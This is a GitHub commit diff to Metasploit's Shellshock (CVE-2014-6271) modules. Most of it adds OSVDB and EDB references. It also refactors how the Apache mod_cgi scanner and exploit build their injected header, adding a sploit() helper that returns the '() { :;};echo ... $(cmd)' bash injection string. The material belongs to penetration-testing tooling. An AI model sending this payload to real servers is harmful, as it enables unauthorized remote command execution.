Skip to content

Commit 10dc6ed

Browse files
committed
Land rapid7#3912 - Update check method and additional references
2 parents b2d2101 + de65ab0 commit 10dc6ed

File tree

5 files changed

+26
-10
lines changed

5 files changed

+26
-10
lines changed

modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb

Lines changed: 11 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -29,6 +29,8 @@ def initialize(info = {})
2929
],
3030
'References' => [
3131
['CVE', '2014-6271'],
32+
['OSVDB', '112004'],
33+
['EDB', '34765'],
3234
['URL', 'https://access.redhat.com/articles/1200223'],
3335
['URL', 'http://seclists.org/oss-sec/2014/q3/649']
3436
],
@@ -43,14 +45,12 @@ def initialize(info = {})
4345
OptString.new('CMD', [true, 'Command to run (absolute paths required)',
4446
'/usr/bin/id'])
4547
], self.class)
46-
47-
@marker = marker
4848
end
4949

5050
def check_host(ip)
51-
res = req("echo #{@marker}")
51+
res = req("echo #{marker}")
5252

53-
if res && res.body.include?(@marker * 3)
53+
if res && res.body.include?(marker * 3)
5454
report_vuln(
5555
:host => ip,
5656
:port => rport,
@@ -83,7 +83,7 @@ def run_host(ip)
8383

8484
res = req(datastore['CMD'])
8585

86-
if res && res.body =~ /#{@marker}(.+)#{@marker}/m
86+
if res && res.body =~ /#{marker}(.+)#{marker}/m
8787
print_good("#{peer} - #{$1}")
8888
report_vuln(
8989
:host => ip,
@@ -99,13 +99,17 @@ def req(cmd)
9999
'method' => datastore['METHOD'],
100100
'uri' => normalize_uri(target_uri.path),
101101
'headers' => {
102-
datastore['HEADER'] => "() { :;};echo #{@marker}$(#{cmd})#{@marker}"
102+
datastore['HEADER'] => sploit(cmd)
103103
}
104104
)
105105
end
106106

107+
def sploit(cmd)
108+
%Q{() { :;};echo -e "\\r\\n#{marker}$(#{cmd})#{marker}"}
109+
end
110+
107111
def marker
108-
Rex::Text.rand_text_alphanumeric(rand(42) + 1)
112+
@marker ||= Rex::Text.rand_text_alphanumeric(rand(42) + 1)
109113
end
110114

111115
end

modules/auxiliary/server/dhclient_bash_env.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -37,6 +37,8 @@ def initialize
3737
'References' => [
3838
['CVE', '2014-6271'],
3939
['CWE', '94'],
40+
['OSVDB', '112004'],
41+
['EDB', '34765'],
4042
['URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/'],
4143
['URL', 'http://seclists.org/oss-sec/2014/q3/649',],
4244
['URL', 'https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/',]

modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,8 @@ def initialize(info = {})
2626
],
2727
'References' => [
2828
['CVE', '2014-6271'],
29+
['OSVDB', '112004'],
30+
['EDB', '34765'],
2931
['URL', 'https://access.redhat.com/articles/1200223'],
3032
['URL', 'http://seclists.org/oss-sec/2014/q3/649']
3133
],
@@ -119,11 +121,15 @@ def req(cmd)
119121
'method' => datastore['METHOD'],
120122
'uri' => normalize_uri(target_uri.path.to_s),
121123
'headers' => {
122-
datastore['HEADER'] => "() { :;};echo #{marker}$(#{cmd})#{marker}"
124+
datastore['HEADER'] => sploit(cmd)
123125
}
124126
}, datastore['TIMEOUT'])
125127
end
126128

129+
def sploit(cmd)
130+
%Q{() { :;};echo -e "\\r\\n#{marker}$(#{cmd})#{marker}"}
131+
end
132+
127133
def marker
128134
@marker ||= rand_text_alphanumeric(rand(42) + 1)
129135
end

modules/exploits/osx/local/vmware_bash_function_root.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,9 @@ def initialize(info={})
3030
],
3131
'References' =>
3232
[
33-
[ 'CVE', '2014-6271' ]
33+
[ 'CVE', '2014-6271' ],
34+
[ 'OSVDB', '112004' ],
35+
[ 'EDB', '34765' ]
3436
],
3537
'Platform' => 'osx',
3638
'Arch' => [ ARCH_X86_64 ],

modules/exploits/unix/dhcp/bash_environment.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,9 @@ def initialize(info = {})
3737
'Arch' => ARCH_CMD,
3838
'References' =>
3939
[
40-
['CVE', '2014-6271']
40+
['CVE', '2014-6271'],
41+
['OSVDB', '112004'],
42+
['EDB', '34765']
4143
],
4244
'Payload' =>
4345
{

0 commit comments

Comments
 (0)